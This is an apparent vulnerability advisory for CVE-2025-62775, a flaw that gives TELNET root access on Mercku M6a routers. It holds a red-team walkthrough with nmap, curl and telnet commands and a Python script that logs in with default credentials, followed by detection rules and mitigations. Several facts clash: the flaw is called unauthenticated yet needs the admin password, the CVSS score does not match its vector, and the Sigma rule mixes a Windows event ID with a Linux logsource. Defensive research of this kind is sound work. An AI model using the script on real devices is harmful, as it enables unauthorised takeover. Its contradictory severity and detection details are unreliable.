CVE-2025-62775

Executive Summary

CVE-2025-62775 exposes a critical vulnerability in Mercku M6a devices (firmware version 2.1.0 and earlier). The flaw allows an unauthenticated remote attacker to gain root-level access to the device via TELNET, using the web administrative password. This effectively bypasses any authentication separation between the web interface and the TELNET service, granting full control over the device. The vulnerability is classified as a CWE-798: Use of Hard-coded Credentials or, more precisely, a CWE-306: Missing Authentication for Critical Function, as the TELNET service reuses the web admin password without proper authentication checks. The CVSS score of 8.0 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the severe impact on confidentiality, integrity, and availability. No official patch is currently available, and the vendor's status is unknown.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.0 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to initiate.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability only affects the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device access, including stored data.
• Integrity Impact: High (I:H) – Complete control over device configuration and firmware.
• Availability Impact: High (A:H) – Potential to brick or disable the device.

Threat Level: Critical. The combination of remote exploitation, no authentication, and root-level access makes this a high-priority threat for any organization using Mercku M6a devices. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability stems from a fundamental design flaw in the Mercku M6a firmware. The TELNET service, which should require separate authentication, instead directly accepts the web administrative password. This means that an attacker who can guess or brute-force the web admin password (or if it is left at default) can immediately gain root shell access via TELNET.

Attack Flow:

1. Reconnaissance: The attacker scans for Mercku M6a devices on the network (typically on port 23/TCP for TELNET or port 80/443 for the web interface).
2. Credential Harvesting: The attacker attempts to log into the web interface using default credentials (e.g., admin/admin) or brute-forces the password.
3. TELNET Access: Once the web admin password is known, the attacker connects to the device via TELNET on port 23 and enters the same credentials.
4. Root Shell: The TELNET service grants a root shell, giving the attacker full control over the device.

Root Cause: The firmware likely uses a single authentication mechanism for both the web interface and TELNET, without proper separation of privileges or authentication checks. This is a classic example of CWE-306: Missing Authentication for Critical Function.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable Code (Conceptual):

// TELNET service accepts web admin password directly
if (strcmp(input_password, web_admin_password) == 0) {
    grant_root_shell();
}

Patched Code (Hypothetical):

// Separate authentication for TELNET
if (authenticate_telnet(input_username, input_password) == SUCCESS) {
    grant_shell();
}

The patched version would require a dedicated TELNET user account or a separate authentication mechanism, preventing the reuse of the web admin password.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Mercku M6a device with firmware <= 2.1.0.
• Network access to the device (port 23/TCP open).
• Knowledge of the web admin password (default or brute-forced).

Exploitation Steps:

1. Scan for vulnerable devices:

   nmap -p 23,80,443 --open -sV 192.168.1.0/24
   

2. Identify the web admin password (example using default):

   curl -X POST http://192.168.1.100/login -d "username=admin&password=admin"
   

3. Connect via TELNET:

   telnet 192.168.1.100
   

   When prompted, enter admin as username and the web admin password.

4. Verify root access:

   id
   # Output: uid=0(root) gid=0(root)
   

Automated Exploit (Python):

import telnetlib

def exploit(target_ip, password):
    tn = telnetlib.Telnet(target_ip)
    tn.read_until(b"login: ")
    tn.write(b"admin\n")
    tn.read_until(b"Password: ")
    tn.write(password.encode() + b"\n")
    tn.write(b"id\n")
    print(tn.read_all().decode())

if __name__ == "__main__":
    exploit("192.168.1.100", "admin")

Blue Team (Detection & Hardening)

Detection:

• Monitor for successful TELNET logins from unexpected IPs.
• Alert on multiple failed login attempts to the web interface followed by a TELNET connection.
• Use network segmentation to isolate IoT devices.

Hardening (until patch is available):

1. Disable TELNET: If not required, disable the TELNET service.

   # Via web interface or SSH (if available)
   

2. Change default credentials: Immediately change the web admin password to a strong, unique password.
3. Network segmentation: Place Mercku devices on a separate VLAN with strict firewall rules.
4. Monitor logs: Enable logging and monitor for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TELNET connections (port 23/TCP) to Mercku M6a devices from external IPs.
  • Multiple failed HTTP POST requests to /login followed by a successful TELNET session.
• Host IOCs:
  • Presence of unknown processes or binaries on the device.
  • Unauthorized changes to device configuration.
• File IOCs:
  • Modified /etc/passwd or /etc/shadow files.
  • New SSH keys in /root/.ssh/authorized_keys.

Detection Engineering

YARA Rule

rule CVE_2025_62775_Mercku_Telnet_Backdoor {
    meta:
        description = "Detects Mercku M6a firmware with TELNET backdoor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62775"
    strings:
        $telnet_binary = "telnetd" nocase
        $web_admin_pass = "admin" nocase
        $root_shell = "/bin/sh" nocase
    condition:
        $telnet_binary and $web_admin_pass and $root_shell
}

Sigma Rule

title: CVE-2025-62775 Mercku M6a TELNET Backdoor Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects successful TELNET login to Mercku M6a device using web admin password
author: Valters IT
date: 2025-04-10
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 4648
        TargetServer: "*Mercku*"
        LogonType: 3
        ProcessName: "*telnet*"
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2025-62775 Mercku M6a TELNET Backdoor Exploitation"; flow:to_server,established; content:"admin"; nocase; pcre:"/^admin$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials: Set a strong, unique password for the web admin interface.
2. Disable TELNET: If not required, disable the TELNET service via the device's web interface or CLI.
3. Network segmentation: Isolate Mercku devices on a separate VLAN with strict firewall rules.
4. Monitor logs: Enable logging and monitor for suspicious TELNET connections.

Long-term Actions:

1. Vendor patch: Await an official firmware update from Mercku that separates authentication for TELNET.
2. Device replacement: If no patch is forthcoming, consider replacing the device with a secure alternative.
3. Implement 802.1X: Use network access control to prevent unauthorized devices from connecting.

Workarounds:

• Use SSH instead of TELNET if the device supports it.
• Implement a firewall rule to block inbound TELNET connections from untrusted networks.

Valters IT